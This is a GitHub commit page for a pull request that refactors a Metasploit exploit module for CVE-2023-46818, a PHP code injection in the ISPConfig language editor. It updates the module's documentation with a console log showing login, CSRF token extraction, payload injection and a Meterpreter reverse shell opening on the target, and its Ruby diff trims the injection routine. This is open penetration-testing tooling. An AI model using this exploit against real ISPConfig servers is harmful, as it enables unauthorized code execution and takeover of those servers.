Skip to content

Commit ef611d1

Browse files
authored
Merge pull request #1 from msutovsky-r7/collab/cve-2023-46818
Refactors and updates the docs
2 parents 1700b2e + ffa2152 commit ef611d1

File tree

2 files changed

+25
-41
lines changed

2 files changed

+25
-41
lines changed

documentation/modules/exploit/linux/http/ispconfig_lang_edit_php_code_injection.md

Lines changed: 22 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -32,43 +32,35 @@ The ISPConfig administrator username to authenticate with.
3232
### PASSWORD
3333
The ISPConfig administrator password to authenticate with.
3434

35-
### LOGIN_TIMEOUT
36-
Timeout for login request (default: 15 seconds).
37-
38-
### DELETE_SHELL
39-
Whether to delete the webshell after exploitation (default: true).
4035

4136
## Scenarios
4237

4338
### ISPConfig 3.2.11 (or earlier), Ubuntu 20.04
4439

4540
```
46-
msf6 > use exploit/linux/http/ispconfig_lang_edit_php_code_injection
47-
msf6 exploit(linux/http/ispconfig_lang_edit_php_code_injection) > set rhosts 192.168.1.100
48-
rhosts => 192.168.1.100
49-
msf6 exploit(linux/http/ispconfig_lang_edit_php_code_injection) > set username admin
50-
username => admin
51-
msf6 exploit(linux/http/ispconfig_lang_edit_php_code_injection) > set password adminpass
52-
password => adminpass
53-
msf6 exploit(linux/http/ispconfig_lang_edit_php_code_injection) > run
54-
55-
[*] Started reverse TCP handler on 192.168.1.1:4444
56-
[*] Running automatic check ('set AutoCheck false' to disable)
57-
[+] ISPConfig installation detected
58-
[*] Attempting login with username 'admin' and password 'adminpass'
41+
msf6 exploit(linux/http/ispconfig_lang_edit_php_code_injection) > run verbose=true
42+
[*] Started reverse TCP handler on 192.168.168.128:4444
43+
[*] Running automatic check ("set AutoCheck false" to disable)
44+
[*] Checking if the target is ISPConfig...
45+
[*] Attempting login with username 'admin' and password 'RGT2WvpoALJXh8t'
46+
[+] Login successful!
47+
[+] ISPConfig version detected: ISPConfig Version: 3.2.10
48+
[+] The target appears to be vulnerable. Version: ISPConfig Version: 3.2.10
49+
[*] Attempting login with username 'admin' and password 'RGT2WvpoALJXh8t'
5950
[+] Login successful!
60-
[*] Injecting PHP shell...
61-
[+] CSRF tokens extracted: ID=abc123..., KEY=def456...
62-
[+] Shell successfully injected: sh_xxxxx.php
63-
[*] Starting payload handler...
64-
[+] PHP payload triggered
65-
[*] Waiting for session...
66-
[+] Shell responsive: uid=33(www-data) gid=33(www-data) groups=33(www-data)
67-
68-
id
69-
uid=33(www-data) gid=33(www-data) groups=33(www-data)
70-
uname -a
71-
Linux ubuntu 5.15.0-52-generic #58~20.04.1-Ubuntu SMP Thu Oct 13 13:09:46 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
51+
[*] Checking if admin_allow_langedit is enabled...
52+
[+] Language editor is accessible - admin_allow_langedit appears to be enabled
53+
[*] Injecting PHP payload...
54+
[+] Extracted CSRF tokens: ID=language_ed..., KEY=86845285663...
55+
[*] Sending stage (40004 bytes) to 192.168.168.186
56+
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.186:58822) at 2025-07-07 11:51:12 +0200
57+
58+
59+
meterpreter >
60+
meterpreter > sysinfo
61+
Computer : server1
62+
OS : Linux server1 6.8.0-60-generic #63~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 22 19:00:15 UTC 2 x86_64
63+
Meterpreter : php/linux
7264
```
7365

7466
## Notes

modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb

Lines changed: 3 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -194,7 +194,7 @@ def enable_langedit_permission
194194
'keep_cookies' => true
195195
})
196196

197-
if res && res.code == 200
197+
if res&.code == 200
198198
print_good('Successfully enabled admin_allow_langedit')
199199
return true
200200
else
@@ -237,16 +237,12 @@ def inject_payload
237237
'_csrf_key' => csrf_key,
238238
'records[\]' => injection
239239
}
240-
res = send_request_cgi({
240+
send_request_cgi({
241241
'method' => 'POST',
242242
'uri' => edit_url,
243243
'vars_post' => injection_data,
244244
'keep_cookies' => true
245245
})
246-
fail_with(Failure::UnexpectedReply, 'Injection request failed') unless res
247-
payload_url = normalize_uri(target_uri.path, 'admin', @payload_file)
248-
print_good("Payload successfully injected: #{@payload_file}")
249-
return payload_url
250246
end
251247

252248
def exploit
@@ -269,10 +265,6 @@ def exploit
269265
end
270266
end
271267

272-
payload_url = inject_payload
273-
print_status('Starting payload handler...')
274-
print_status('Manual trigger information:')
275-
print_line("URL: #{full_uri}#{payload_url}")
276-
print_line("Manual trigger: curl '#{full_uri}#{payload_url}'")
268+
inject_payload
277269
end
278270
end

0 commit comments

Comments
 (0)